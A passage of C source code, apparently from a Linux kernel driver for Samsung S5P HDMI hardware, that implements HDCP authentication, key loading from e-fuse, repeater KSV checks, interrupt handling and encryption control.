writel(readl(g_hdmi_base + S5P_HDMI_CON_0) & HDMI_DIS,
g_hdmi_base + S5P_HDMI_CON_0);
writel(readl(g_hdmi_base + S5P_HDMI_CON_0) | HDMI_EN,
g_hdmi_base + S5P_HDMI_CON_0);
#endif
writel(CLEAR_ALL_RESULTS, g_hdmi_base + S5P_HDCP_CHECK_RESULT);
/* set hdcp_int enable */
reg = readb(g_hdmi_base + S5P_STATUS_EN);
reg |= WTFORACTIVERX_INT_OCCURRED |
WATCHDOG_INT_OCCURRED |
EXCHANGEKSV_INT_OCCURRED |
UPDATE_RI_INT_OCCURRED;
writeb(reg, g_hdmi_base + S5P_STATUS_EN);
/* HDCP Enable */
writeb(CP_DESIRED_EN, g_hdmi_base + S5P_HDCP_CTRL1);
spin_unlock_irq(&hdcp_info.reset_lock);
}
/*
* Set the timing parameter for load e-fuse key.
*/
/* TODO: must use clk_get for pclk rate */
#define PCLK_D_RATE_FOR_HDCP 166000000
static u32 efuse_ceil(u32 val, u32 time)
{
u32 res;
res = val / time;
if (val % time)
res += 1;
return res;
}
#if 0
static void hdcp_efuse_timing(void)
{
u32 time, val;
/* TODO: must use clk_get for pclk rate */
time = 1000000000/PCLK_D_RATE_FOR_HDCP;
val = efuse_ceil(EFUSE_ADDR_WIDTH, time);
writeb(val, g_hdmi_base + S5P_EFUSE_ADDR_WIDTH);
val = efuse_ceil(EFUSE_SIGDEV_ASSERT, time);
writeb(val, g_hdmi_base + S5P_EFUSE_SIGDEV_ASSERT);
val = efuse_ceil(EFUSE_SIGDEV_DEASSERT, time);
writeb(val, g_hdmi_base + S5P_EFUSE_SIGDEV_DEASSERT);
val = efuse_ceil(EFUSE_PRCHG_ASSERT, time);
writeb(val, g_hdmi_base + S5P_EFUSE_PRCHG_ASSERT);
val = efuse_ceil(EFUSE_PRCHG_DEASSERT, time);
writeb(val, g_hdmi_base + S5P_EFUSE_PRCHG_DEASSERT);
val = efuse_ceil(EFUSE_FSET_ASSERT, time);
writeb(val, g_hdmi_base + S5P_EFUSE_FSET_ASSERT);
val = efuse_ceil(EFUSE_FSET_DEASSERT, time);
writeb(val, g_hdmi_base + S5P_EFUSE_FSET_DEASSERT);
val = efuse_ceil(EFUSE_SENSING, time);
writeb(val, g_hdmi_base + S5P_EFUSE_SENSING);
val = efuse_ceil(EFUSE_SCK_ASSERT, time);
writeb(val, g_hdmi_base + S5P_EFUSE_SCK_ASSERT);
val = efuse_ceil(EFUSE_SCK_DEASSERT, time);
writeb(val, g_hdmi_base + S5P_EFUSE_SCK_DEASSERT);
val = efuse_ceil(EFUSE_SDOUT_OFFSET, time);
writeb(val, g_hdmi_base + S5P_EFUSE_SDOUT_OFFSET);
val = efuse_ceil(EFUSE_READ_OFFSET, time);
writeb(val, g_hdmi_base + S5P_EFUSE_READ_OFFSET);
}
#endif
/*
* load hdcp key from e-fuse mem.
*/
static int hdcp_loadkey(void)
{
u8 status;
int time_out = HDMI_TIME_OUT;
#if 0
hdcp_efuse_timing();
#endif
/* read HDCP key from E-Fuse */
writeb(EFUSE_CTRL_ACTIVATE, g_hdmi_base + S5P_EFUSE_CTRL);
do {
status = readb(g_hdmi_base + S5P_EFUSE_STATUS);
time_out--;
} while (!(status & EFUSE_ECC_DONE) && time_out);
if (readb(g_hdmi_base + S5P_EFUSE_STATUS) & EFUSE_ECC_FAIL) {
pr_err("%s::Can't load key from fuse ctrl.\n", __func__);
return -EINVAL;
} else {
HDCPPRINTK("%s::readb S5P_EFUSE_STATUS for EFUSE_ECC_FAIL: 0\n",
__func__);
}
return 0;
}
/*
* Start encryption
*/
static void start_encryption(void)
{
int time_out = HDMI_TIME_OUT;
if (readl(g_hdmi_base + S5P_HDCP_CHECK_RESULT) ==
Ri_MATCH_RESULT__YES) {
do {
if (readl(g_hdmi_base + S5P_STATUS) & AUTHENTICATED) {
writel(HDCP_ENC_ENABLE, g_hdmi_base + S5P_ENC_EN);
HDCPPRINTK("Encryption start!!\n");
s5p_hdmi_mute_en(false);
break;
} else {
time_out--;
mdelay(1);
}
} while (time_out);
if (time_out <= 0)
pr_err("%s::readl S5P_STATUS for AUTHENTICATED fail!!\n",
__func__);
} else {
writel(HDCP_ENC_DISABLE, g_hdmi_base + S5P_ENC_EN);
s5p_hdmi_mute_en(true);
HDCPPRINTK("Encryption stop!!\n");
}
}
/*
* Check whether Rx is repeater or not
*/
static int check_repeater(void)
{
int ret = 0;
u8 i = 0;
u16 j = 0;
u8 bcaps[BCAPS_SIZE] = {0};
u8 status[BSTATUS_SIZE] = {0, 0};
u8 rx_v[SHA_1_HASH_SIZE] = {0};
u8 ksv_list[HDCP_MAX_DEVS*HDCP_KSV_SIZE] = {0};
u32 dev_cnt;
u32 stat;
bool ksv_fifo_ready = false;
memset(rx_v, 0x0, SHA_1_HASH_SIZE);
memset(ksv_list, 0x0, HDCP_MAX_DEVS * HDCP_KSV_SIZE);
while (j <= 50) {
ret = ddc_read(HDCP_Bcaps, bcaps, BCAPS_SIZE);
if (ret < 0) {
pr_err("%s::Can't read bcaps data from i2c bus\n",
__func__);
return false;
}
if (bcaps[0] & KSV_FIFO_READY) {
HDCPPRINTK("ksv fifo is ready\n");
ksv_fifo_ready = true;
writel(bcaps[0], g_hdmi_base + S5P_HDCP_BCAPS);
break;
} else {
HDCPPRINTK("ksv fifo is not ready\n");
ksv_fifo_ready = false;
mdelay(100);
j++;
}
bcaps[0] = 0;
}
if (!ksv_fifo_ready)
return REPEATER_TIMEOUT_ERROR;
/*
* Check MAX_CASCADE_EXCEEDED
* or MAX_DEVS_EXCEEDED indicator
*/
ret = ddc_read(HDCP_BStatus, status, BSTATUS_SIZE);
if (ret < 0) {
pr_err("%s::Can't read status data from i2c bus\n",
__func__);
return false;
}
/* MAX_CASCADE_EXCEEDED || MAX_DEVS_EXCEEDED */
if (status[1] & MAX_CASCADE_EXCEEDED) {
HDCPPRINTK("MAX_CASCADE_EXCEEDED\n");
return MAX_CASCADE_EXCEEDED_ERROR;
} else if (status[0] & MAX_DEVS_EXCEEDED) {
HDCPPRINTK("MAX_CASCADE_EXCEEDED\n");
return MAX_DEVS_EXCEEDED_ERROR;
}
writel(status[0], g_hdmi_base + S5P_HDCP_BSTATUS_0);
writel(status[1], g_hdmi_base + S5P_HDCP_BSTATUS_1);
/* Read KSV list */
dev_cnt = status[0] & 0x7f;
HDCPPRINTK("status[0] :0x%08x, status[1] :0x%08x!!\n",
status[0], status[1]);
if (dev_cnt) {
u32 val = 0;
/* read ksv */
ret = ddc_read(HDCP_KSVFIFO, ksv_list,
dev_cnt * HDCP_KSV_SIZE);
if (ret < 0) {
pr_err("%s::Can't read ksv fifo!!\n", __func__);
return false;
}
/* write ksv */
for (i = 0; i < dev_cnt - 1; i++) {
writel(ksv_list[(i*5) + 0],
g_hdmi_base + S5P_HDCP_RX_KSV_0_0);
writel(ksv_list[(i*5) + 1],
g_hdmi_base + S5P_HDCP_RX_KSV_0_1);
writel(ksv_list[(i*5) + 2],
g_hdmi_base + S5P_HDCP_RX_KSV_0_2);
writel(ksv_list[(i*5) + 3],
g_hdmi_base + S5P_HDCP_RX_KSV_0_3);
writel(ksv_list[(i*5) + 4],
g_hdmi_base + S5P_HDCP_RX_KSV_0_4);
mdelay(1);
writel(SET_HDCP_KSV_WRITE_DONE,
g_hdmi_base + S5P_HDCP_RX_KSV_LIST_CTRL);
mdelay(1);
stat = readl(g_hdmi_base + S5P_HDCP_RX_KSV_LIST_CTRL);
if (!(stat & SET_HDCP_KSV_READ))
return false;
HDCPPRINTK("HDCP_RX_KSV_1 = 0x%x\n",
readl(g_hdmi_base + S5P_HDCP_RX_KSV_LIST_CTRL));
HDCPPRINTK("i : %d, dev_cnt : %d, val = 0x%08x\n",
i, dev_cnt, val);
}
writel(ksv_list[(i*5) + 0], g_hdmi_base + S5P_HDCP_RX_KSV_0_0);
writel(ksv_list[(i*5) + 1], g_hdmi_base + S5P_HDCP_RX_KSV_0_1);
writel(ksv_list[(i*5) + 2], g_hdmi_base + S5P_HDCP_RX_KSV_0_2);
writel(ksv_list[(i*5) + 3], g_hdmi_base + S5P_HDCP_RX_KSV_0_3);
writel(ksv_list[(i*5) + 4], g_hdmi_base + S5P_HDCP_RX_KSV_0_4);
mdelay(1);
/* end of ksv */
val = SET_HDCP_KSV_END|SET_HDCP_KSV_WRITE_DONE;
writel(val, g_hdmi_base + S5P_HDCP_RX_KSV_LIST_CTRL);
HDCPPRINTK("HDCP_RX_KSV_1 = 0x%x\n",
readl(g_hdmi_base + S5P_HDCP_RX_KSV_LIST_CTRL));
HDCPPRINTK("i : %d, dev_cnt : %d, val = 0x%08x\n",
i, dev_cnt, val);
} else {
/*
mdelay(200);
*/
writel(SET_HDCP_KSV_LIST_EMPTY,
g_hdmi_base + S5P_HDCP_RX_KSV_LIST_CTRL);
}
/* Read SHA-1 from receiver */
ret = ddc_read(HDCP_SHA1, rx_v, SHA_1_HASH_SIZE);
if (ret < 0) {
pr_err("%s::Can't read sha_1_hash data from i2c bus\n",
__func__);
return false;
}
#ifdef S5P_HDCP_DEBUG
for (i = 0; i < SHA_1_HASH_SIZE; i++)
HDCPPRINTK("SHA_1 rx :: %x\n", rx_v[i]);
#endif
/* write SHA-1 to register */
writeb(rx_v[0], g_hdmi_base + S5P_HDCP_RX_SHA1_0_0);
writeb(rx_v[1], g_hdmi_base + S5P_HDCP_RX_SHA1_0_1);
writeb(rx_v[2], g_hdmi_base + S5P_HDCP_RX_SHA1_0_2);
writeb(rx_v[3], g_hdmi_base + S5P_HDCP_RX_SHA1_0_3);
writeb(rx_v[4], g_hdmi_base + S5P_HDCP_RX_SHA1_1_0);
writeb(rx_v[5], g_hdmi_base + S5P_HDCP_RX_SHA1_1_1);
writeb(rx_v[6], g_hdmi_base + S5P_HDCP_RX_SHA1_1_2);
writeb(rx_v[7], g_hdmi_base + S5P_HDCP_RX_SHA1_1_3);
writeb(rx_v[8], g_hdmi_base + S5P_HDCP_RX_SHA1_2_0);
writeb(rx_v[9], g_hdmi_base + S5P_HDCP_RX_SHA1_2_1);
writeb(rx_v[10], g_hdmi_base + S5P_HDCP_RX_SHA1_2_2);
writeb(rx_v[11], g_hdmi_base + S5P_HDCP_RX_SHA1_2_3);
writeb(rx_v[12], g_hdmi_base + S5P_HDCP_RX_SHA1_3_0);
writeb(rx_v[13], g_hdmi_base + S5P_HDCP_RX_SHA1_3_1);
writeb(rx_v[14], g_hdmi_base + S5P_HDCP_RX_SHA1_3_2);
writeb(rx_v[15], g_hdmi_base + S5P_HDCP_RX_SHA1_3_3);
writeb(rx_v[16], g_hdmi_base + S5P_HDCP_RX_SHA1_4_0);
writeb(rx_v[17], g_hdmi_base + S5P_HDCP_RX_SHA1_4_1);
writeb(rx_v[18], g_hdmi_base + S5P_HDCP_RX_SHA1_4_2);
writeb(rx_v[19], g_hdmi_base + S5P_HDCP_RX_SHA1_4_3);
/* SHA write done, and wait for SHA computation being done */
mdelay(1);
/* check authentication success or not */
stat = readb(g_hdmi_base + S5P_HDCP_AUTH_STATUS);
HDCPPRINTK("auth status %d\n", stat);
if (stat & SET_HDCP_SHA_VALID_READY) {
stat = readb(g_hdmi_base + S5P_HDCP_AUTH_STATUS);
if (stat & SET_HDCP_SHA_VALID)
ret = true;
else
ret = false;
} else {
pr_err("%s::SHA not ready 0x%x\n", __func__, stat);
ret = false;
}
/* clear all validate bit */
writeb(0x0, g_hdmi_base + S5P_HDCP_AUTH_STATUS);
return ret;
}
static bool try_read_receiver(void)
{
u16 i = 0;
bool ret = false;
s5p_hdmi_mute_en(true);
for (i = 0; i < 400; i++) {
msleep(250);
if (hdcp_info.auth_status != RECEIVER_READ_READY) {
pr_err("%s::hdcp stat. changed!!\
failed attempt no = %d\n",
__func__, i);
return false;
}
ret = read_bcaps();
if (ret) {
HDCPPRINTK("succeeded at attempt no= %d\n", i);
return true;
} else
pr_err("%s::can't read bcaps!! \
failed attempt no=%d\n",
__func__, i);
}
return false;
}
static void s5p_hdcp_reset(void)
{
s5p_stop_hdcp();
g_hdcp_protocol_status = 2;
HDCPPRINTK("HDCP ftn. reset!!\n");
}
static void bksv_start_bh(void)
{
bool ret = false;
HDCPPRINTK("HDCP_EVENT_READ_BKSV_START bh\n");
hdcp_info.auth_status = RECEIVER_READ_READY;
ret = read_bcaps();
if (!ret) {
ret = try_read_receiver();
if (!ret) {
pr_err("%s::Can't read bcaps!! retry failed!!\
hdcp ftn. will be stopped\n", __func__);
reset_authentication();
return;
}
}
hdcp_info.auth_status = BCAPS_READ_DONE;
ret = read_bksv();
if (!ret) {
pr_err("%s::Can't read bksv!!\
hdcp ftn. will be reset\n", __func__);
reset_authentication();
return;
}
hdcp_info.auth_status = BKSV_READ_DONE;
HDCPPRINTK("authentication status : bksv is done (0x%08x)\n",
hdcp_info.auth_status);
}
static void second_auth_start_bh(void)
{
u8 count = 0;
int reg;
bool ret = false;
int ret_err;
u32 bcaps;
HDCPPRINTK("HDCP_EVENT_SECOND_AUTH_START bh\n");
ret = read_bcaps();
if (!ret) {
ret = try_read_receiver();
if (!ret) {
pr_err("%s::Can't read bcaps!! retry failed!!\
hdcp ftn. will be stopped\n", __func__);
reset_authentication();
return;
}
}
bcaps = readl(g_hdmi_base + S5P_HDCP_BCAPS);
bcaps &= (KSV_FIFO_READY);
if (!bcaps) {
HDCPPRINTK("ksv fifo is not ready\n");
do {
count++;
ret = read_bcaps();
if (!ret) {
ret = try_read_receiver();
if (!ret)
reset_authentication();
return;
}
bcaps = readl(g_hdmi_base + S5P_HDCP_BCAPS);
bcaps &= (KSV_FIFO_READY);
if (bcaps) {
HDCPPRINTK("bcaps retries : %d\n", count);
break;
}
mdelay(100);
if (!hdcp_info.hdcp_enable) {
reset_authentication();
return;
}
} while (count <= 50);
/* wait times exceeded 5 seconds */
if (count > 50) {
hdcp_info.time_out = INFINITE;
/*
* time-out (This bit is only available in a REPEATER)
*/
writel(readl(g_hdmi_base + S5P_HDCP_CTRL1) | 0x1 << 2,
g_hdmi_base + S5P_HDCP_CTRL1);
reset_authentication();
return;
}
}
HDCPPRINTK("ksv fifo ready\n");
ret_err = check_repeater();
if (ret_err == true) {
u32 flag;
hdcp_info.auth_status = SECOND_AUTHENTICATION_DONE;
HDCPPRINTK("second authentication done!!\n");
flag = readb(g_hdmi_base + S5P_STATUS);
HDCPPRINTK("hdcp state : %s authenticated!!\n",
flag & AUTHENTICATED ? "" : "not not");
start_encryption();
} else if (ret_err == false) {
/* i2c error */
pr_err("%s::repeater check error!!\n", __func__);
reset_authentication();
} else {
if (ret_err == REPEATER_ILLEGAL_DEVICE_ERROR) {
/*
* No need to start the HDCP
* in case of invalid KSV (revocation case)
*/
pr_err("%s::illegal dev. error!!\n", __func__);
reg = readl(g_hdmi_base + S5P_HDCP_CTRL2);
reg = 0x1;
writel(reg, g_hdmi_base + S5P_HDCP_CTRL2);
reg = 0x0;
writel(reg, g_hdmi_base + S5P_HDCP_CTRL2);
hdcp_info.auth_status = NOT_AUTHENTICATED;
} else if (ret_err == REPEATER_TIMEOUT_ERROR) {
reg = readl(g_hdmi_base + S5P_HDCP_CTRL1);
reg |= SET_REPEATER_TIMEOUT;
writel(reg, g_hdmi_base + S5P_HDCP_CTRL1);
reg &= ~SET_REPEATER_TIMEOUT;
writel(reg, g_hdmi_base + S5P_HDCP_CTRL1);
hdcp_info.auth_status = NOT_AUTHENTICATED;
} else {
/*
* MAX_CASCADE_EXCEEDED_ERROR
* MAX_DEVS_EXCEEDED_ERROR
*/
pr_err("%s::repeater check error(MAX_EXCEEDED)!!\n", __func__);
reset_authentication();
}
}
}
static bool write_aksv_start_bh(void)
{
bool ret = false;
HDCPPRINTK("HDCP_EVENT_WRITE_AKSV_START bh\n");
if (hdcp_info.auth_status != BKSV_READ_DONE) {
pr_err("%s::bksv is not ready!!\n", __func__);
return false;
}
ret = write_an();
if (!ret)
return false;
hdcp_info.auth_status = AN_WRITE_DONE;
HDCPPRINTK("an write done!!\n");
ret = write_aksv();
if (!ret)
return false;
/*
* Wait for 100ms. Transmitter must not read
* Ro' value sooner than 100ms after writing
* Aksv
*/
mdelay(100);
hdcp_info.auth_status = AKSV_WRITE_DONE;
HDCPPRINTK("aksv write done!!\n");
return ret;
}
static bool check_ri_start_bh(void)
{
bool ret = false;
HDCPPRINTK("HDCP_EVENT_CHECK_RI_START bh\n");
if (hdcp_info.auth_status == AKSV_WRITE_DONE ||
hdcp_info.auth_status == FIRST_AUTHENTICATION_DONE ||
hdcp_info.auth_status == SECOND_AUTHENTICATION_DONE) {
ret = compare_r_val();
if (ret) {
if (hdcp_info.auth_status == AKSV_WRITE_DONE) {
/*
* Check whether HDMI receiver is
* repeater or not
*/
if (hdcp_info.is_repeater)
hdcp_info.auth_status
= SECOND_AUTHENTICATION_RDY;
else {
hdcp_info.auth_status
= FIRST_AUTHENTICATION_DONE;
start_encryption();
}
}
} else {
HDCPPRINTK("authentication reset\n");
reset_authentication();
}
HDCPPRINTK("auth_status = 0x%08x\n",
hdcp_info.auth_status);
return true;
} else
reset_authentication();
HDCPPRINTK("aksv_write or first/second"
" authentication is not done\n");
return false;
}
/*
* bottom half for hdmi interrupt
*
*/
static void hdcp_work(void *arg)
{
/*
HDCPPRINTK("event : 0x%08x\n", hdcp_info.event);
*/
/*
* I2C int. was occurred
* for reading Bksv and Bcaps
*/
if (hdcp_info.event & (1 << HDCP_EVENT_READ_BKSV_START)) {
bksv_start_bh();
/* clear event */
/* spin_lock_bh(&hdcp_info.lock); */
hdcp_info.event &= ~(1 << HDCP_EVENT_READ_BKSV_START);
/* spin_unlock_bh(&hdcp_info.lock); */
}
/*
* Watchdog timer int. was occurred
* for checking repeater
*/
if (hdcp_info.event & (1 << HDCP_EVENT_SECOND_AUTH_START)) {
second_auth_start_bh();
/* clear event */
/* spin_lock_bh(&hdcp_info.lock); */
hdcp_info.event &= ~(1 << HDCP_EVENT_SECOND_AUTH_START);
/* spin_unlock_bh(&hdcp_info.lock); */
}
/*
* An_Write int. was occurred
* for writing Ainfo, An and Aksv
*/
if (hdcp_info.event & (1 << HDCP_EVENT_WRITE_AKSV_START)) {
write_aksv_start_bh();
/* clear event */
/* spin_lock_bh(&hdcp_info.lock); */
hdcp_info.event &= ~(1 << HDCP_EVENT_WRITE_AKSV_START);
/* spin_unlock_bh(&hdcp_info.lock); */
}
/*
* Ri int. was occurred
* for comparing Ri and Ri'(from HDMI sink)
*/
if (hdcp_info.event & (1 << HDCP_EVENT_CHECK_RI_START)) {
check_ri_start_bh();
/* clear event */
/* spin_lock_bh(&hdcp_info.lock); */
hdcp_info.event &= ~(1 << HDCP_EVENT_CHECK_RI_START);
/* spin_unlock_bh(&hdcp_info.lock); */
}
}
irqreturn_t s5p_hdcp_irq_handler(int irq, void *dev_id)
{
u32 event = 0;
u8 flag;
unsigned long spin_flags;
event = 0;
/* check HDCP Status */
flag = readb(g_hdmi_base + S5P_STATUS);
HDCPPRINTK("irq_status : 0x%08x\n", readb(g_hdmi_base + S5P_STATUS));
HDCPPRINTK("hdcp state : %s authenticated!!\n",
flag & AUTHENTICATED ? "" : "not");
spin_lock_irqsave(&hdcp_info.lock, spin_flags);
/*
* processing interrupt
* interrupt processing seq. is firstly set event for workqueue,
* and interrupt pending clear. 'flag|' was used for preventing
* to clear AUTHEN_ACK.- it caused many problem. be careful.
*/
/* I2C INT */
if (flag & WTFORACTIVERX_INT_OCCURRED) {
event |= (1 << HDCP_EVENT_READ_BKSV_START);
writeb(flag | WTFORACTIVERX_INT_OCCURRED,
g_hdmi_base + S5P_STATUS);
writeb(0x0, g_hdmi_base + S5P_HDCP_I2C_INT);
}
/* AN INT */
if (flag & EXCHANGEKSV_INT_OCCURRED) {
event |= (1 << HDCP_EVENT_WRITE_AKSV_START);
writeb(flag | EXCHANGEKSV_INT_OCCURRED,
g_hdmi_base + S5P_STATUS);
writeb(0x0, g_hdmi_base + S5P_HDCP_AN_INT);
}
/* RI INT */
if (flag & UPDATE_RI_INT_OCCURRED) {
event |= (1 << HDCP_EVENT_CHECK_RI_START);
writeb(flag | UPDATE_RI_INT_OCCURRED,
g_hdmi_base + S5P_STATUS);
writeb(0x0, g_hdmi_base + S5P_HDCP_RI_INT);
}
/* WATCHDOG INT */
if (flag & WATCHDOG_INT_OCCURRED) {
event |= (1 << HDCP_EVENT_SECOND_AUTH_START);
writeb(flag | WATCHDOG_INT_OCCURRED,
g_hdmi_base + S5P_STATUS);
writeb(0x0, g_hdmi_base + S5P_HDCP_WDT_INT);
}
if (!event) {
pr_err("%s::unknown irq.\n", __func__);
spin_unlock_irqrestore(&hdcp_info.lock, spin_flags);
return IRQ_HANDLED;
}
hdcp_info.event |= event;
schedule_work(&hdcp_info.work);
spin_unlock_irqrestore(&hdcp_info.lock, spin_flags);
return IRQ_HANDLED;
}
static int s5p_hdcp_is_reset(void)
{
int ret = 0;
if (spin_is_locked(&hdcp_info.reset_lock))
return 1;
return ret;
}
static bool s5p_set_hpd_detection(bool detection, bool hdcp_enabled,
struct i2c_client *client)
{
u32 hpd_reg_val = 0;
if (detection)
hpd_reg_val = CABLE_PLUGGED;
else
hpd_reg_val = CABLE_UNPLUGGED;
writel(hpd_reg_val, g_hdmi_base + S5P_HPD);
HDCPPRINTK("HPD status :: 0x%08x\n",
readl(g_hdmi_base + S5P_HPD));
return true;
}
int s5p_hdcp_init(void)
{
HDCPPRINTK("HDCP ftn. Init!!\n");
g_is_dvi = false;
g_av_mute = false;
g_audio_en = true;
/* for bh */
INIT_WORK(&hdcp_info.work, (work_func_t)hdcp_work);
init_waitqueue_head(&hdcp_info.waitq);
/* for dev_dbg err. */
spin_lock_init(&hdcp_info.lock);
spin_lock_init(&hdcp_info.reset_lock);
s5p_hdmi_register_isr((hdmi_isr)s5p_hdcp_irq_handler,
(u8)HDMI_IRQ_HDCP);
return 0;
}
/*
* start - start functions are only called under stopping HDCP
*/
bool s5p_start_hdcp(void)
{
u8 reg;
u32 sfr_val;
hdcp_info.event = HDCP_EVENT_STOP;
hdcp_info.time_out = INFINITE;
hdcp_info.auth_status = NOT_AUTHENTICATED;
HDCPPRINTK("HDCP ftn. Start!!\n");
g_sw_reset = true;
reg = s5p_hdmi_get_enabled_interrupt();
s5p_hdmi_disable_interrupts(HDMI_IRQ_HPD_PLUG);
s5p_hdmi_disable_interrupts(HDMI_IRQ_HPD_UNPLUG);
/* 2. Enable software HPD */
sw_hpd_enable(true);
/* 3. Make software HPD logical */
set_sw_hpd(false);
/* 4. Make software HPD logical */
set_sw_hpd(true);
/* 5. Disable software HPD */
sw_hpd_enable(false);
set_sw_hpd(false);
/* 6. Unmask HPD plug and unplug interrupt */
if (reg & 1<<HDMI_IRQ_HPD_PLUG)
s5p_hdmi_enable_interrupts(HDMI_IRQ_HPD_PLUG);
if (reg & 1<<HDMI_IRQ_HPD_UNPLUG)
s5p_hdmi_enable_interrupts(HDMI_IRQ_HPD_UNPLUG);
g_sw_reset = false;
HDCPPRINTK("Stop Encryption by Start!!\n");
writel(HDCP_ENC_DISABLE, g_hdmi_base + S5P_ENC_EN);
s5p_hdmi_mute_en(true);
g_hdcp_protocol_status = 1;
if (hdcp_loadkey() < 0)
return false;
/* for av mute */
writel(DO_NOT_TRANSMIT, g_hdmi_base + S5P_GCP_CON);
/*
* 1-1. set hdmi status enable reg.
* Update_Ri_int_en should be enabled after
* s/w gets ExchangeKSV_int.
*/
writel(HDCP_STATUS_EN_ALL, g_hdmi_base + S5P_STATUS_EN);
/*
* 3. set hdcp control reg.
* Disable advance cipher option, Enable CP(Content Protection),
* Disable time-out (This bit is only available in a REPEATER)
* Disable XOR shift, Disable Pj port update, Use external key
*/
sfr_val = 0;
sfr_val |= CP_DESIRED_EN;
writel(sfr_val, g_hdmi_base + S5P_HDCP_CTRL1);
s5p_hdmi_enable_interrupts(HDMI_IRQ_HDCP);
if (!read_bcaps()) {
pr_err("%s::can't read ddc port!\n", __func__);
reset_authentication();
}
hdcp_info.hdcp_enable = true;
HDCPPRINTK("\tSTATUS \t0x%08x\n",
readl(g_hdmi_base + S5P_STATUS));
HDCPPRINTK("\tSTATUS_EN \t0x%08x\n",
readl(g_hdmi_base + S5P_STATUS_EN));
HDCPPRINTK("\tHPD \t0x%08x\n", readl(g_hdmi_base + S5P_HPD));
HDCPPRINTK("\tHDCP_CTRL \t0x%08x\n",
readl(g_hdmi_base + S5P_HDCP_CTRL1));
HDCPPRINTK("\tMODE_SEL \t0x%08x\n",
readl(g_hdmi_base + S5P_MODE_SEL));
HDCPPRINTK("\tENC_EN \t0x%08x\n",
readl(g_hdmi_base + S5P_ENC_EN));
HDCPPRINTK("\tHDMI_CON_0 \t0x%08x\n",
readl(g_hdmi_base + S5P_HDMI_CON_0));
return true;
}
/*
* stop - stop functions are only called under running HDCP
*/
bool s5p_stop_hdcp(void)
{
u32 sfr_val = 0;
HDCPPRINTK("HDCP ftn. Stop!!\n");
/*
s5p_hdmi_disable_interrupts(HDMI_IRQ_HPD_PLUG);
s5p_hdmi_disable_interrupts(HDMI_IRQ_HPD_UNPLUG);
*/
s5p_hdmi_disable_interrupts(HDMI_IRQ_HDCP);
g_hdcp_protocol_status = 0;
hdcp_info.time_out = INFINITE;
hdcp_info.event = HDCP_EVENT_STOP;
hdcp_info.auth_status = NOT_AUTHENTICATED;
hdcp_info.hdcp_enable = false;
/* hdcp_info.client = NULL; */
/* 3. disable hdcp control reg. */
sfr_val = readl(g_hdmi_base + S5P_HDCP_CTRL1);
sfr_val &= (ENABLE_1_DOT_1_FEATURE_DIS
& CLEAR_REPEATER_TIMEOUT
& EN_PJ_DIS
& CP_DESIRED_DIS);
writel(sfr_val, g_hdmi_base + S5P_HDCP_CTRL1);
/* 1-3. disable hdmi hpd reg. */
sw_hpd_enable(false);
/* 1-2. disable hdmi status enable reg. */
sfr_val = readl(g_hdmi_base + S5P_STATUS_EN);
sfr_val &= HDCP_STATUS_DIS_ALL;
writel(sfr_val, g_hdmi_base + S5P_STATUS_EN);
/* 1-1. clear all status pending */
sfr_val = readl(g_hdmi_base + S5P_STATUS);
sfr_val |= HDCP_STATUS_EN_ALL;
writel(sfr_val, g_hdmi_base + S5P_STATUS);
/* disable encryption */
HDCPPRINTK("Stop Encryption by Stop!!\n");
writel(HDCP_ENC_DISABLE, g_hdmi_base + S5P_ENC_EN);
s5p_hdmi_mute_en(true);
/* clear result */
writel(Ri_MATCH_RESULT__NO, g_hdmi_base + S5P_HDCP_CHECK_RESULT);
writel(CLEAR_ALL_RESULTS, g_hdmi_base + S5P_HDCP_CHECK_RESULT);
#if 0
/* hdmi disable */
sfr_val = readl(g_hdmi_base + S5P_HDMI_CON_0);
sfr_val &= ~(PWDN_ENB_NORMAL | HDMI_EN | ASP_EN);
writel(sfr_val, g_hdmi_base + S5P_HDMI_CON_0);
*/
HDCPPRINTK("\tSTATUS \t0x%08x\n", readl(g_hdmi_base + S5P_STATUS));
HDCPPRINTK("\tSTATUS_EN \t0x%08x\n",
readl(g_hdmi_base + S5P_STATUS_EN));
HDCPPRINTK("\tHPD \t0x%08x\n", readl(g_hdmi_base + S5P_HPD));
HDCPPRINTK("\tHDCP_CTRL \t0x%08x\n",
readl(g_hdmi_base + S5P_HDCP_CTRL1));
HDCPPRINTK("\tMODE_SEL \t0x%08x\n",
readl(g_hdmi_base + S5P_MODE_SEL));
HDCPPRINTK("\tENC_EN \t0x%08x\n", readl(g_hdmi_base + S5P_ENC_EN));
HDCPPRINTK("\tHDMI_CON_0 \t0x%08x\n",
readl(g_hdmi_base + S5P_HDMI_CON_0));
writel(sfr_val, g_hdmi_base + S5P_HDMI_CON_0);
#endif
return true;
}
/* called by hpd */
int s5p_hdcp_encrypt_stop(bool on)
{
u32 reg;
if (hdcp_info.hdcp_enable) {
/* clear interrupt pending all */
writeb(0x0, g_hdmi_base + S5P_HDCP_I2C_INT);
writeb(0x0, g_hdmi_base + S5P_HDCP_AN_INT);
writeb(0x0, g_hdmi_base + S5P_HDCP_RI_INT);
writeb(0x0, g_hdmi_base + S5P_HDCP_WDT_INT);
writel(HDCP_ENC_DISABLE, g_hdmi_base + S5P_ENC_EN);
s5p_hdmi_mute_en(true);
if (!g_sw_reset) {
reg = readl(g_hdmi_base + S5P_HDCP_CTRL1);
if (on) {
writel(reg | CP_DESIRED_EN,
g_hdmi_base + S5P_HDCP_CTRL1);
s5p_hdmi_enable_interrupts(HDMI_IRQ_HDCP);
} else {
hdcp_info.event
= HDCP_EVENT_STOP;
hdcp_info.auth_status
= NOT_AUTHENTICATED;
writel(reg & ~CP_DESIRED_EN,
g_hdmi_base + S5P_HDCP_CTRL1);
s5p_hdmi_disable_interrupts(HDMI_IRQ_HDCP);
}
}
HDCPPRINTK("Stop Encryption by HPD Event!!\n");
}
return 0;
}
int s5p_hdmi_set_dvi(bool en)
{
if (en)
g_is_dvi = true;
else
g_is_dvi = false;
return 0;
}
void s5p_hdmi_set_audio(bool en)
{
if (en)
g_audio_en = true;
else
g_audio_en = false;
}
int s5p_hdmi_audio_enable(bool en)
{
u8 reg;
if (!g_is_dvi) {
reg = readl(g_hdmi_base + S5P_HDMI_CON_0);
if (en) {
reg |= ASP_EN;
writel(HDMI_TRANS_EVERY_SYNC , g_hdmi_base + S5P_AUI_CON);
} else {
reg &= ~ASP_EN;
writel(HDMI_DO_NOT_TANS , g_hdmi_base + S5P_AUI_CON);
}
writel(reg, g_hdmi_base + S5P_HDMI_CON_0);
}
return 0;
}
int s5p_hdmi_set_mute(bool en)
{
if (en)
g_av_mute = true;
else
g_av_mute = false;
return 0;
}
int s5p_hdmi_get_mute(void)
{
return g_av_mute ? true : false;
}
void s5p_hdmi_mute_en(bool en)
{
